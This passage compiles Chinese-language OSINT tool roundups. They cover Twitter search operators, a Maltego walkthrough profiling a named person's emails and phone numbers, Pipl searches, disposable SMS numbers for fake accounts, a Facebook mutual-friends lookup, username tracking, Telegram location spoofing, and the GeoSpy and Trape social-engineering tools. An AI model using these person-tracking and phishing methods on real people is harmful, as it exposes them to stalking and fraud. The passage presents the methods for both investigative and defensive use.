to:user 回复特定的用户 @username

“＋@user” 提及特定的用户 @username，例如 “＋ @ NASA”

list:user/list-name 来自此列表的成员，例如 list:NASA/space-tweets

filter:verified 来自验证用户

3、地理搜索

near:city 在这个地方进行地理标记的内容

near:me 来自靠近你标记的地方

within:radius 在“near”运算符的特定半径内，可以使用 km 或 mi。例如 “fire near:san-francisco within:10km”

geocode:lat,long,radius 例如要获得在一个特定经纬度附近10公里内的推文，这样：geocode:37.7764685,-122.4172004,10km

place:96683cc9126741d1 按 Place Object ID 搜索推文

4、按时间搜索

since:yyyy-mm-dd 在指定日期或之后

until:yyyy-mm-dd 在指定日期或之前。与“since”运算符结合使用以框定一个时间范围

max_id:tweet_id 基于精确时间搜索的 Snowflake ID

min_id:tweet_id 不与 max_id 一起使用

5、交互

min_retweets:5 最低数量的转推

min_faves:10 最低数量的点赞

min_replies:100 自定义的回复数量

-min_retweets:500 转发量不超过“500”

-min_faves:1000 点赞量不超过“1000”

-min_replies:1000 回复数量不超过“1000”

6、媒体

filter:media 所有类型的媒体

filter:images 所有图片

filter:video 所有视频类型，包括原生 Twitter 视频和外部资源，如 Youtube

filter:periscope 来自 Periscope 的

filter:native_video 所有 Twitter 拥有的视频类型 (native video, vine, periscope)

filter:vine Vines (RIP)

filter:consumer_video 仅限 Twitter 原生视频

filter:pro_video 仅限 pro video

7、更多过滤器

filter:follows 仅限您关注的帐户

filter:links 仅包含特定的 URL

filter:mentions 包含 @mentions

filter:news 包含新闻故事的链接。与列表其他运算符结合使用可进一步缩小设置范围

filter:safe 排除不安全的内容

filter:hashtags 只包含特定标签的推文

8、其他

source:client_name 从指定的客户端发送的内容，例如 source：tweetdeck； twitter_ads 不能单独运行，但可以和其他运算符一起使用

card_domain:pscp.tv 在 Twitter卡中匹配网址；相当于 url:

card_name:audio 带有播放器卡的推文（链接到音频源，Spotify，Soundcloud 等）

card_name:animated_gif 带有动图的推文

card_name:app

card_name:summary_large_image

card_name:summary

9、示例

查询来自@Nasa的推文包含除图像之外的所有类型的媒体：

```
from:NASA filter:media -filter:images
```

查询提到“小狗”或“小猫”的推文，提到“甜蜜”或“可爱”，不包括转推，至少有10个点赞：

```
(puppy OR kitten) AND (sweet OR cute) -
filter:nativeretweets min_faves:10
```

要查找任何引用推文，请搜索推文永久链接或带 `url`的推文ID，例如：

或者 `url:1138631847783608321`

那么，现在您可以知道下面这个搜索是什么意思了：

space (big OR large) list:nasa/astronauts (source:twitter_for_iphone OR source:twitter_web_client) filter:images since:2011–01–01 -#asteroid

Paste Site 搜索

Paste Site 是一种专门文本分享的网站。用户可以将一段文本性质的内容（如代码）上传到网站，然后通过链接分享给其他用户。

其中知名的网站有早期的 PasteBin.com 和现在的 github.com。由于此类内容多为好友间分享，所以内容隐含的价值也相对较高。

在渗透测试、社交工程和开源情报的信息收集阶段，从 **Paste Site** 中搜集敏感信息是一种重要手段。

Inteltechniques 一直是用于这项工作的最佳选项；但是，现在他们已经把工具转到付费墙后面了。于是人们一直在努力寻找下一个免费的替代品。

现在确定了： NetBootCamp。就是这样：

Link: https://netbootcamp.org/pastesearch.html

自动挖文件数据的工具

该工具允许您从支持的文件中提取文本、元数据、选择器和图像。下表显示了不同文件扩展名的支持功能：

非常简单易用，只需上传或将文件拖入即可。这里是演示：

瑞士军刀 **Maltego**：针对特定人员的侦查利器

Maltego 是一种交互式数据挖掘工具，用于查找位于 Internet 上的各种来源的信息之间的关系；自动化和可视化。

这里介绍基本方法。

步骤＃1：启动 Kali 并启动 Maltego

和惯常一样： Applications →Information Gathering →maltegoce，下面这样：

Maltego 是一个 Java 应用程序并且内存紧张，因此请尽可能多地提供内存。

步骤＃2登录您的 Maltego 帐户

如果还没有注册账户就先注册。

步骤＃3 Start a Machine

登录后，您将看到如下所示的“Start a Machine”屏幕。

现在你的目标是针对一个特定人的侦查；于是向下滚动，直到出现“人—电子邮件地址”，然后单击左侧的单选按钮。

步骤＃4选择目标

也就是你想要调查的人。这里的示例是被解雇的 Boris Epshteyn。

然后会看到如下屏幕。您可以指定要搜索的域名（例如 whitehouse.gov，gmail.com 或其他）之间添加空格以搜索所有。

现在，点击 Run！

步骤＃5 选择适当的电子邮件地址

现在，Maltego 将访问网络搜索与“Boris Epshteyn”名称相关的任何电子邮件地址。

如下所示，它收集了许多与该名称相关联的电子邮件地址。并非所有这些都与你的目标直接相关，但所有这些都将与名称相关联。

接下来选择想要使用哪些地址。本案例中继续选择使用所有这些。

当点击电子邮件列表底部的 Next 时，Maltego 开始生成所有电子邮件地址的关系图。可以在下面看到：

另外，可以转到标有“Entity Palette”的最左侧窗口。在那里可以找到 Maltego 搜索到的与目标人员相关的其他实体。

在此案例中继续点击“电话号码”，看看是否可以为这个神秘的 Epshteyn 先生找到一个匹配的电话号码。

步骤＃6 创建目标的关系图谱

这是最后一步，点击左上角的全屏符号，可以显示 Maltego 收集的有关目标人的所有信息。

记下为目标人显示的所有电子邮件地址和电话号码以及它们之间的链接。

你可以看到左侧面板上有多个选项，可以以不同格式显示信息。

建议每一种都试用一下，以便找到最合适的（最清晰）的显示方式。

结论

我们曾经介绍过 Maltego 在社交工程栏目中，它是进行开源数据挖掘的绝佳工具。

通过使用该工具，您可以将侦查工作自动化，以节省大把的时间，并避免了调查人员在错误的关系链中被绑住。

好啦，今天的内容就是这样。

⚠请注意：IYP 的“OSINT”栏目中提供的所有内容均可同时适用于进攻和防御。如果您不是进击者，也完全可以采用这些工具用于防御——了解到侦查者使用的手段，以提前做好反侦查工具。

惊讶不应该直到被捕才发生。防御措施是为避免被捕而准备的。〇

原文

新生情报工具（7）：全球搜人、免费手机短信、放大照片不损质量、快速查找相关视频 - iyouport

开源情报-每个人都可用的武器新生情报工具

【 2019年12月25日存档】继续我们的不定期更新系列

这里是“新生情报工具”第7部分内容。

来看看今天有什么好玩的东西。

如何在线放大照片

网上有些照片原本就很小，尤其是老照片或者监视摄像头的照片，有可能分辨率非常差。

但就如社交媒体照片一样，其中可能隐藏着很重要的情报线索。（在这里回顾《如何恢复社交媒体照片到原始分辨率》）

你必须首先看清那些细节。

现在有一个很好在在线工具可以帮你解决这个问题。

这个免费的在线工具使您可以按照自己的需求放大图像，而不会损失图像的质量，不会失真。

链接：https：*www.imageenlarger.com/* 快速查找相关视频 这是一个有趣的在线工具，可以帮你快速找到与你提供的视频相关的其他视频来源；并且，输出为关系图表，就像上面那样（用*MJ*的视频做例子）。 你只需要输入你想查找相关性的视频链接。 点击关系图中任何一个节点，视频将在左侧的小屏幕上播放。 这个工具看起来很好玩，对调查来说也十分有用，包括信息验证 —— 当您的调查目标或情报线索包括被上传到*YouTube*的视频的时候。 链接：*https*：*//yasiv.com/youtube* 搜索推特 ***lists*** 的小工具 自定义小工具，搜索推特*list*。无需过多解释。 当然，您能搜到的是公开*list*，不包括创建者设

置为私密的*list*。 就如上面图那样，输入你想要的关键字就行了。 链接：*https://cse.google.com/cse?cx=016621447308871563343:u4r_fupvs-e* 介绍几个免费的手机短信平台 在网站上完成注册过程中经常需要输入您的手机号码才能接收*SMS*验证或确认。 如果您不想透露自己的手机号码，则可以使用这些在线号码之一完成验证。 这对于调查人员来说非常有用 —— 你必须做好隐身，才能安全地完成调查。（回顾《*Opsec* 操作安全：在反侦察的过程中您应该注意哪些陷阱？》） 您会在这些网页上收到确认短信，只需单击选择的号码即可阅读短信。 也可以将*SMS*消息发送到电子邮件地址。 为了从手机向电子邮件发送*SMS*消息，需要一个特殊格式：*@ space email_adres space message text.* 例如，发送短信到电子邮件地址 *emailto@address.com*，就是这样：
@ emailto@address.com text of message 下面是一些可以推荐的平台：
http://sms.sellaite.com/ https://www.receivesmsonline.net/ https://receive-sms.com/ http://receive-sms-online.com/ 全球最大的搜人引擎 开源情报调查领域中的任何新手都会将人员搜索引擎 *Pipl.com* 添加到其工具箱中。*Pipl* 组织声称拥有全球最大的人员搜索引擎。 该搜索引擎允许您例如通过姓名、电子邮件地址、电话号码或用户名搜索有关人员的详细信息。 例如，您可以找到有关社交媒体帐户、联系信息和雇主关系等信息。 在*2019*年*6*月*11*日，*Pipl* 在*Twitter* 上发布了以下消息：“免费并不总是更好。找出为什么要淘汰 *Pipl Search* 的免费版本的原因。” *Pipl*在其网站上的一篇文章中指出，“免费搜索”消失的原因除其他外，最主要的是，免费搜索选项的结果始终少于付费的“ *Pipl Search Pro*”版本。 现在免费版本没了。幸运的是，您仍然可以创建一个试用帐户，您仍可以使用该帐户运行免费的搜索查询。为此，请按照下列步骤操作。 步骤*1*：转到 *https://pipl.com/api* 步骤*2*：点击“免费开始”； 步骤*3*：填写个人资料信息。强烈建议您不要填写任何能关联个人身份的信息。避免任何追踪。 步骤*4*：点击“参加我们的调查”； 步骤*5*：填写所有信息，然后逐步进行操作。 步骤*6*：验证您创建的电子邮件地址 步骤*7*：通过*Pipl.com*登录。现在您可以开始搜索了。 使用*API*搜索 第*1*步：登录帐户后，您会看到一条消息，指出您的帐户需要进行验证。否则，该帐户将在*4*天后过期。 您还将看到您已收到以下演示*API* “ *BUSINESS-Premium-Demo*”，“ *SOCIAL-Demo*” 和 “ *CONTACT-Premium-demo*”。使用这些*API*密钥，您可以免费创建*30*个搜索查询。 第*2*步：点击主菜单顶部的“ *API*”； 第*3*步：向下滚动，然后点击“*Try our Live demo*”； 第*4*步：您准备好了！使用 *Pipl* 的搜索选项搜索有关人员的信息。例如，按名称、电话号码或两者的组合进行搜索。确保始终验证结果。因为有些结果可能已过时、不准确和/或不完整。 免责声明：请始终做好自我保护。如果不能确定这点，那么请勿触犯法律。我们对工具的使

用结果不承担任何责任。 查找网络钓鱼套件的来源 *StalkPhish* 是一种工具，用于搜索免费的开源情报数据库以查找特定的网络钓鱼套件 *URL*。 此外，*StalkPhish* 旨在尝试查找网络钓鱼套件的来源。 一些诈骗者在部署网络钓鱼套件时无法或不会将其删除。您可以尝试找到以下来源，以提取一些有用的信息，例如：用于发送被盗数据的电子邮件地址，有关欺诈者或网络钓鱼工具开发人员的更多信息。 从那里您可以扩展对威胁和威胁组织的了解，并获得许多有用的信息以进行进一步的调查。 * *urlscan.io search API* * *urlquery.net search web crawler* * *Phishtank free OSINT feed (with or without API key)* * *Openphish free OSINT feed* * *PhishStats search API* 链接：*https://github.com/t4d/StalkPhish* 如何使用用户名查找隐藏的在线账户？ 在线平台和社交媒体通常要求其用户设置用户名。一旦注册，用户名在平台上通常是唯一的：该帐户直接与该用户名关联，并且不能注册具有相同用户名的其他帐户。 用户在其他平台上也使用相同的用户名是很普遍的（在给自己起名字方面，人们经常缺乏创意）。 这就很有趣了，因为这意味着追踪者可以通过用户名在互联网上跟踪目标人。 在本教程中，我们将更详细说明如何通过查看同一用户名，以查找其他（隐藏的）帐户。 在调查中提供用户名后，您便可以检查该用户名是否与在线平台和社交媒体上的帐户相关联。下面的图像中，您将找到三种不同的颜色。 绿色表示您的目标用户名未与帐户关联，蓝色表示用户名已与帐户关联，黄色表示发生错误。 操作步骤如下： 第*1*步：访问网站 *https://namechk.com/*。 第*2*步：在搜索栏中填写您的目标用户名。 第*3*步：点击“ *Enter*”按钮时，您会注意到在线平台的颜色将会改变。这些颜色指示您的目标用户名是否与在线帐户相关联。 当然，还有许多其他资源和技术可以用来研究用户名。 例如，使用 *Google*运算符“ *inurl*：*gebruikersnaam*”；您还可以查找用户名是否用于特定网站（*site*：*domainname.nl*）。 请查看我们总结过的运算符：《攻防皆可用：*GoogleDorking* 高级运算符完整列表》；以及工具大全《超级情报工具库》。 好啦，今天的内容就到这里；希望本系列的小工具介绍对你有用。下次见。○ 原文

去模糊化、挖人际关系、自动社交工程攻击、监视信息战：新生情报工具（8） - iyouport

开源情报-每个人都可用的武器新生情报工具

【2020年5月5日存档】继续不定期更新系列

欢迎来到第8集！今天的内容依旧希望能对您来说有用。

「图」

1、两种语言搜索谷歌

「图」

这里是一个站点，可以帮助您使用两种语言搜索：https://2lingual.com/

这显然可以加快您的调查速度，尤其是如果您不熟悉其他语种却需要调查该地区的信息时（比如西班牙语、法语、印地语等）。

它支持37种语言，您可以任意搭配。

2、从拍摄很糟糕的照片中提取清晰的事实

「图」

这是最常见的需求。民间拍摄的视频很重要，但拍摄质量很糟糕，难以看清楚，几乎每个调查者都遇到过这种事。

- 不要错过《公民记者如何验证民间爆料视频的真实性？》

民间爆料的视频有可能非常重要，可能是侵犯人权罪行的关键证据。于是，首先要能看清楚，是调查人员的基本需求。

但这件事似乎一直没有完美解决方案。

实际上有数百个服务声称可以提高视频质量，但是没有任何一个可以在每种情况下都具有魔力。有限的时间和预算让每种软件的功能都严重受限。

合理的平衡是主要依靠编写良好的开源软件。大多数开源资源都是强大的，并且建立在坚实的科学基础上，而其他资源充其量是可疑的。

为了解决这一问题，行业专家创建了两个主要的开源视频增强解决方案。

第一个是 Forevid（http://Forevid.org），其中包含各种照明和噪声过滤器，但似乎已经失去维护。另一个产品是 **VideoCleaner**（http://VideoCleaner.com），它提供了广泛的功能套件，但仅适用于32位Windows。正在考虑64位版本。

VideoCleaner 可以照亮光线不足的场景，提高细节清晰度，纠正视角，扭转镜头失真，修复VHS记录，消除电噪声，改善色彩对比度等等。

VideoCleaner 可以使微弱的动作、远处的交通信号灯颜色变化、以及诸多小细节变得明显。

您还可以在屏幕上用文本和突出显示进行注释，纠正播放速度，提供全景或相邻的前后视图，以及提取静止图像。

- 不要错过《细节的线索魅力：如何用视频创建全景图？》

VideoCleaner 与众不同之处在于它是基于脚本的，这使得自定义和深入研究变得更容易。用户可以添加切换、滑块和看似无穷无尽的功能。

用户几乎可以对每个步骤进行优化和自动化，从而节省了时间，消除了基于判断的错误，并确保了准确的可再现事实集。

3、没有图谱搜索如何挖掘人际关系

「图」

“共同朋友” 的挖掘是人际关系网络调查的一个关键部分 —— 也是为什么我们要强调，⚠真正重要的人际关系切勿在社交网络上呈现出来。

曾经 Facebook 的图谱搜索是做这件事的有力工具，但现在它被取消了，难道就不容易挖掘了吗？并不是。替代方案还有很多。

- 不要错过《如何挖掘目标人隐藏的人际关系？》

这里介绍的是一个极简单的方法。

首先：使用您的假账户，也就是袜子木偶，以避免被你的目标人反向追踪。具体做法见下面。

- 《袜子木偶的做法》
- 《如何快速创建一个假人？简易版分身术—调查人员使用》

接下来只需要5个步骤即可找到共同的 Facebook 人际关系。

第一步：导航到您要调查的两个目标人的 Facebook 个人资料。如果您能在两个单独的选项卡中保持两个个人资料页面处于打开状态，会非常有用。

第二步：右键单击要调查的第一个个人资料页面上的任意位置，然后选择“查看页面源代码”。确保您没有单击图像或链接，而是单击页面上“空白”的部分。

第三步：使用查找功能（CTRL ＋ F）在源码中搜索 “Entity_id”（不带引号）以检索目标的 Facebook 用户ID。

ID是紧随“ Entity_id”之后的一串数字。

第四步：重复步骤3，对要调查的第二个目标人执行同样的动作。因此，在此步骤之后，您应该已经记录了两个用户ID。

您可以在以下步骤中使用这些用户ID。

第五步：要找出您的两个目标人有哪些共同的朋友，您必须采取以下格式的 URL：“ **www.facebook.com/browse/mutual_friends/?uid＝ID1&node＝ID2’**（不带引号）。

ID1 就是第一个目标人，ID2 就是第二个目标人。

执行时您会看到两个目标帐户拥有哪些共同的朋友。

就是这么简单。

更多详见《搜人、照片、视频、位置 …… 大全：新的FB”图谱搜索”替代方案—— 尤其强调防御》。

使用以上方法，只要两个目标人其中一个没能有效隐藏其朋友列表，你就可以挖到想要的东西。但如果两个人都隐藏了朋友列表，这种方法就无效。

⚠这也是为什么说，作为防御者，您需要尽可能和注重隐私保护的人交往。否则他们中任何一个人都能出卖你。

同样的方法也可以对两个以上的帐户进行操作，例如，如果您想知道三个帐户是否也存在共同朋友。在这种情况下，请在第二个ID之后添加“**&node**＝”，然后是第三个用户ID。

4、快速查询完整元数据的免费在线应用

「图」

Get-Metadata.com 是一个免费的在线工具，可让您访问文件隐藏的 exif 和元数据。

支持15种文件格式。

只需拖放或上传图像、文档、视频、音频甚至是电子书文件，即可看到文件中隐藏的所有元数据。

如果您可以在线检查到文件是否存在 exif，那么其他人也可以做到。就隐私而言，了解有关文件的所有信息至关重要 —— 在上传之前检查您准备在线共享的任何照片或文档，以了解是否存在您可能不想被曝光的信息。

链接：www.get-metadata.com/

当然，查找元数据的方法有很多种。这个平台是最简易的一个，尤其是当您手边没有电脑的时候，用它比较方便。

关于元数据，不要错过：

- 《无处可藏的数字足迹 (上篇) 》
- 《都是工具，从自我保护到有效利用 (下篇) 》

5、自动社交工程攻击

「图」

关于“社交工程攻击”是什么、如何操作、常用工具有哪些，可参见我们的专栏。

这里介绍的是一个工具，Geolocation Spy（GeoSpy）它是开源情报分析和研究工具，它可以使操作者实时跟踪和执行社会工程攻击。

不要误会，该工具的创建目的是向世界传授关于大型互联网公司[监视资本主义巨头们]如何获取私密信息，以及在人们不知情的情况下通过浏览器控制用户的方式，但它的发展旨在帮助调查者跟踪网络犯罪分子。

- 《国际特赦组织的报告承认谷歌和Facebook 是人权侵犯者》👈在这里看到这份报告

APPROACH：接近目标时，GeoSpy 会告诉您。

REST API：生成一个API（随机或自定义），通过它可以远程控制和监视互联网上的其他网站，以获取所有访问者的流量。

PROCESS HOOKS：在目标的浏览器中管理社会工程攻击或流程。

SEVERAL：可以实时对任何域或服务进行网络钓鱼攻击，也可以发送恶意文件来破坏目标设备。

……

可以获取有关用户网络的信息；可以自动扫描目标网络中连接的所有设备，目标行为的简短摘要以及有关设备的重要附加信息。

该工具用于教育目的，它旨在让人们明白坏人如何跟踪和监视你、或如何发起攻击。只有当更多人能够深入了解监视时，我们才有希望把互联网变得更安全。

链接：https://github.com/entynetproject/GeoSpy

6、监视虚假信息的工具

「图」

以下是一些总结。但请注意，这些只是工具包，并非识别信息战的灵

丹妙药。它们能帮你提供一些线索，更详尽的操作依旧需要您手动完成。

Facebook ——

- CrowdTangle plug-in：该插件可让您了解哪些Facebook页面在社交媒体上共享了网站/链接，以及这些共享之间的互动指标。它也是一个社交网络分析平台，仅供记者和研究机构使用。
- Facebook Transparency Ads：检查发布了哪些政治广告以及由谁付款，并附带指标（在有限的国家/地区可用，包括美国、欧盟、印度和以色列）

Facebook 本身就是一个很难跟踪虚假信息的平台，该公司对独立调查者很不友好。这对在信息领域工作的学者、开源情报人员、智囊团和非政府组织都产生了巨大影响。

也于是，针对 Facebook 的开源情报工具开发特别抢手。

Twitter ——

- 检查Twitter帐户的最近活动（最近500条推文）：https://accountanalysis.lucahammer.com/
- 检查Twitter帐户的活动时段：https://makeadverbsgreatagain.org
- 从Twitter帐户收集公开信息：https://tweetbeaver.com/
- 检查发布了哪些政治广告以及由谁付款（在有限的国家/地区可用，包括美国、欧盟、印度：Twitter Transparency Advertisement Database
- 验证发布内容的帐户是否重复发送垃圾内容，以及发布时间和数量：Allegedly
- 可以确定帐户是否具有trolls机器人的行为模式，这可以作为进一步研究的起点，但是它确实给出了误报，高分可能只是表明一个非常活跃的人。它还作为 Firefox 和 Chrome 附加组件提供：Bot Sentinel
- （以前称为 BotOrNot）检查 Twitter 帐户的活动规律，并对该帐户成为机器人的可能性为其评分：Botometer
- 一种可视化在线文章传播的工具：Hoaxy
- BotSlayer：一款有助于跟踪和检测对**Twitter**上传播的信息的潜在操纵的应用程序。BotSlayer集成了Botometer和Hoaxy并使其自动化。
- Twitonomy：是一个很棒的工具，它是免费的，但是有一个高

级版本，它允许您下载帐户的最近3500条推文的CSV。
- Spoonbill：可让您查看您在Twitter上的目标人是否更改了个人资料。如果您正在调查一个可疑的**trolls**、机器人网络、垃圾信息发送者等类似的东西，使用它可以方便查看谁更改了名称、或查看他们是否在特定的虚假信息宣传活动之前更改了其个人资料，以适应目标受众，这将非常有用。
- 对于那些在 python 中具有一定能力的人，强烈建议您使用 **Twint**，这是最佳选择。您可以在下面看到具体介绍。

《如何从推特挖掘情报（1）：一个流行工具的具体介绍》；以及《观察追踪者的思考方式：挖掘推特情报的基础教程（2）》。

Google ——

- Google Transparency Ads Database：检查Google和YouTube上有哪些政治广告，以及由谁付费（仅限美国、欧盟和印度）。
- 不用说 **Google Dorks** 是最伟大的。在下面看到操作方法介绍。

《攻防皆可用：GoogleDorking 高级运算符完整列表》；实例《谷歌甚至可以轻松搜到密码以实现入侵 ……如何做到这件事？》。

Reddit ——

- 可视化Reddit用户的评论：https://roadtolarissa.com/javascript/reddit-comment-visualizer/
- Reddit Investigator
- Atomiks：用户分析器
- Interactive Map of Reddit and Subreddit Similarity Calculator
- Pushshift Reddit search
- https://www.redditarchive.com/
- Reddit Subreddit Similarity and Algebra
- Reddit Masstagger Chrome add on
- Reddit Pro Tools Chrome add on

4chan ——

- 4chan’s archive

事实核查和归因 ——

- 检查视频和图像取证通过 WeVerifiy-InVID plug-in 探索 Twitter 公开帖子
- 视频分析：https://citizenevidence.amnestyusa.org/
- Meedan https://meedan.com/en/check/
- Politifact https://www.politifact.com/
- FactCheck https://www.factcheck.org/
- Full Fact https://fullfact.org/
- Snopes https://www.snopes.com/
- AFP Fact Check https://factcheck.afp.com/

⚠再次提醒：这些只能做到线索，具体验证工作依旧是需要您的经验并手动的。不要忘了基本验证规则和技巧，如下：

- 《如何对视频进行开源情报调查和信息验证：推荐好用的工具》
- 《10个简单技巧 快速验证社交媒体热门视频的真伪》
- 《公民记者如何验证民间爆料视频的真实性？》
- 《细节的线索魅力：如何用视频创建全景图？》

最后，不要忘了这里，这是一个大全：《如果你擅长搜索，你能找到一切》。

—— 持续更新中——

原文

实时钓鱼、快速提取、游行调查、跨站追踪、便携式瑞士军刀：新生情报工具（9）- iyouport

开源情报-每个人都可用的武器新生情报工具

【2020年5月13日存档】继续不定期更新系列

欢迎来到第9集，依旧希望今天的内容能对您有用。

1、实时钓鱼数据库

这是一个实时网络钓鱼数据库，该数据库从多个来源收集网络钓鱼URL。

Telegram 和 Twitter 上都有一个机器人，机器人会发布最近几个小时添加到数据库中的最新网络钓鱼URL。

它们提供的API才是真正的强大功能，您可以在其中搜索特定的文本、ASN、IP地址、国家等。

您可以直接在浏览器中运行它，并以JSON格式显示所需的数据。

该数据库中有超过300万条记录，并且一直在不断增长。在政府间谍软件泛滥的时代，这类研究很有价值（无交互攻击依旧过于昂贵因此相对罕见，而大多数攻击都是交互性的）。

Link: https://phishstats.info/

2、**Instagram** 开源情报工具

对于 Instagram、抖音这类平台进行的调查往往会更加容易（相比Twitter的话），因为在这些平台上的人大多倾向于暴露自己真实的一面，不论是脸还是行动、简介还是位置。

一个简单的工具，用于对 Instagram 帐户进行一些基本的检查。

该脚本易于运行，并返回您可以从 Instagram 获取的所有基本信息，例如用户名、个人资料名称、关注者、帖子、个人简历等。

它还可以检索有关其是否为注册企业帐户、与 Facebook 的连接、以及其他基本信息。它不仅在屏幕上显示信息，而且还以JSON格式将数据以及头像保存在单独的目录中给你。

必须使用python3.6或更高版本。

Link: https://github.com/sc1341/InstagramOSINT

3、快速提取工具

Mitaka，这是一个很了不起的开源情报搜集扩展，可以从网页中提取域名或电子邮件地址，在各种引擎上搜索/扫描（包括 VirusTotal，urlscan.io，Censys，Shodan等），只需单击鼠标即可。

支持的IOC类型如下：

Chrome: https://chrome.google.com/webstore/detail/mitaka/bfjbejmeoibbdpfdbmbacmefcbannnbg

FireFox: https://addons.mozilla.org/en-US/firefox/addon/mitaka/

GitHub: https://github.com/ninoseki/mitaka

4、一次性手机号列表

就如我们多次强调过的那样：作为调查者，您首先需要做到的就是，你去调查对方，而不是让对方嗅到追踪气味而反过来调查你。

这就需要您在整个调查过程中保持科学有效的匿名措施。关于匿名措施是一整套系列，可以参见IYP的“武器和护身符”栏目。

这里总结的是一个一次性手机号列表，这些服务可以帮助您构建的《袜子木偶》账户接收来自各种平台上的注册验证短信，并避免暴露您的真实身份。

http://receive-sms-online.com

http://receive-sms-now.com

http://hs3x.com

http://twilio.com

http://freesmsverification.com

http://freeonlinephone.org

http://sms-receive.net

http://smsreceivefree.com

http://receive-a-sms.com

http://receivefreesms.com

http://freephonenum.com

http://receive-smss.com

http://receivetxt.com

http://temp-mails.com

http://receive-sms.com

http://receivesmsonline.net

http://receivefreesms.com

http://sms-receive.net

http://pinger.com

http://textnow.com

http://receive-a-sms.com

http://k7.net

http://kall8.com

http://faxaway.com

http://receivesmsonline.com

http://receive-sms-online.info

http://sellaite.com

http://getfreesmsnumber.com

http://smsreceiving.com

http://smstibo.com

http://catchsms.com

http://freesmscode.com

http://smsreceiveonline.com

http://smslisten.com

http://sms.sellaite.com

http://smslive.co

不要忘了我们推荐过的技术比较哦：《4款最佳一次性手机号码应用：适用 Android & iPhone》。

5、究竟有多少人参加游行？—— 估算工具

MapChecking，这是一个比较新的工具，它可以自动计算区域的大小，然后根据人群的密度来计算其中可能站立的人数。

其实这种方法我们介绍过，详见《到底有多少人参加游行？当媒体和警方的数字都是错误的时，如何估算》，MapChecking 将整个过程自动化了。

如果您对数学感觉头疼，或者对地理面积计算的准确性没有把握，这个工具应该可以帮到您。

如你所知，在抗议活动中，人数统计是非常不完善的，各种渠道根据自己的利益随便胡说数字，但是 MapChecking 是一个非常有意义的工具，可以帮助您识别官方渠道的谎言。

6、跨平台追踪

我们不断强调过基本的安全须知：您不能在多个平台上使用相同的用户名，这是很危险的，追踪者很容易据此对您进行全网捕捉。

这就是跨平台追踪的方式，实际上有很多快捷的工具可以支持这点。在下面看到介绍和演示案例：

- 《如何构建自定义的用户名侦查工具：开源调查技术》
- 《尽可能多地了解你的侦查目标，并不让对方发觉的方法》
- 演示《追踪政府宣传战的内幕：跨平台网络分析的数字取证案例》

请注意，跨站追踪并非仅仅是恶意者使用的，对于公民记者来说也是非常重要的工具 —— 您需要在深入调查之前对目标有一个充分的了解。这些工具可以帮助您快速做到这点。

今天要介绍的工具是 **namecheckr**。

Namecheckr是一个可以简单地在许多网站上检查用户名的服务。

你可以尝试使用目标人拥有的所有各种电子邮件和用户名进行查找。

互联网鼓励的是个人营销，于是大多数人倾向于跨站使用相同的名字，以积累个人影响力和声誉；即便不是如此，也经常出现跨站发布相同内容的情况。于是这些工具往往会比较好用。

7、便携式瑞士军刀

POCKINT（又名 Pocket Intelligence）是 DFIR / OSINT 专业人员的瑞士军刀。它被设计为轻巧便携的GUI程序（可以放在USB或VM中），以紧凑的形式为用户提供基本的开源情报调查功能。

您可以从发布页面获取最新版本。

POCKINT 作为单个可执行文件提供，可以在计算机上的任何位置存储和运行。POCKINT 可用于 Windows 和 Linux 平台。

简单：实际上有很多很棒的开源情报工具。但问题是它们要么要求分析人员一定程度上熟悉命令行操作（例如 pOSINT），要么给您太多的功能（例如Maltego）。而 POCKINT 则注重简单性，它是通过简单的界面快速轻松获得结果的理想工具。

便携：大多数工具都需要安装，许可证或配置。而 POCKINT 可以随

时随地出发。将其放入您的USB中、VM里、或笔记本电脑中，就可以立即运行。

强大：POCKINT 将廉价的开源情报源与专用API的功能结合在一起。从一开始您就可以使用一组内置转换。添加多个API密钥，您就可以解锁更多专门的数据挖掘功能。

下载：https://github.com/netevert/pockint

—— 不断更新中 ——

原文

根据位置搜索telegram群组、在互联网上跟踪人、可视化影响力关系网络、及其他：新生情报工具（10）

开源情报-每个人都可用的武器新生情报工具

【2020年5月26日存档】继续不定期更新系列。

欢迎来到第10集。今天的内容会开始添加一些方法。工具已经很多了，它们完全可以帮助您完成了不起的调查需求；于是我们会添加更多的方法在本系列中，但继续沿用这一系列的传统标题，以便于查找。

依旧希望今天的内容能对您有用。

1、如何根据位置搜索telegram群组（aware-online）

「图」

自从去年6月telegram更新以来，就可以根据其位置搜索用户和群组。这意味着您可以在搜索结果中从与自己相同位置的用户和群组中获得建议。

因此，作为调查者，您可以简单地检查哪个用户和群组在哪个区域中处于活动状态。

☞那么，您是否要不停地旅行才能将用户和所有群组映射到具体位置？当然不必，那也太费劲了。您可以通过简单的位置欺骗来解决此问题。

也就是说，相当于手动将位置设置为其他位置。还记得我们介绍过的浏览器方法吗？在下面看到：

- 《如何使用位置欺骗扩展追踪约会网站上的目标私密信息？》

那么，您需要的是什么？

实际上只需要一部（虚拟）电话、Telegram 的移动应用程序和 Telegram 上的帐户。就行了。

就如下面的示例中这样，使用“Android模拟器”，这是一种虚拟电话，其功能与普通电话大致相同。当然，你还可以为此使用 NoxPlayer、Bluestacks 或 Genymotion。选择哪种取决于自己的喜好。

例如，您可以在虚拟机 Virtual Box 中创建 Genymotion，也或许您发现 NoxPlayer 可以更好或更快速地工作。当然您也可以使用预付费电话。

好了电话已有，现在就下载 Telegram 吧。

您可以通过 **Android** 模拟器 + 伪造的 **Gmail** 帐户，通过 **Google Playstore** 进行此操作，这取决于您所使用的设备。

此示例继续使用 Android Emulator NoxPlayer，因此，如果您使用其他设备，则步骤可能会略有不同。思路是一样的。

第一步：打开虚拟设备；

第二步：打开Google Playstore；

第三步：下载telegram。如果一切正常您的虚拟手机环境将如下图所示。

第四步：点击左侧的三个点，然后选择“ V-loc”；

第五步：选择一个虚拟位置。示例中选择了荷兰的“鹿特丹”位置。单击右下角的 “Move here” 以保存位置。

请注意：这种方法不适用于“普通”手机。如果您不使用Android模拟器而是使用普通手机，则可以下载移动应用程序来欺骗位置。在下载移动应用程序时还要注意避免恶意软件。

第六步：打开 Telegram。

第七步：单击左侧的三个条纹，然后选择“联系人”；

第八步：点击“添加附近的人”，即可根据您的位置查看分组结果。

就是这样。您学会了吗？

2、在互联网上跟踪人（社交工程攻击/渗透测试服务/开源情报侦查）

「图」

Trape 是开源情报跟踪工具，它使人们可以实时跟踪和执行高效的社交工程攻击。创建此工具的主要目的是向人们展示攻击者如何在不了解目标人的情况下获取机密信息。

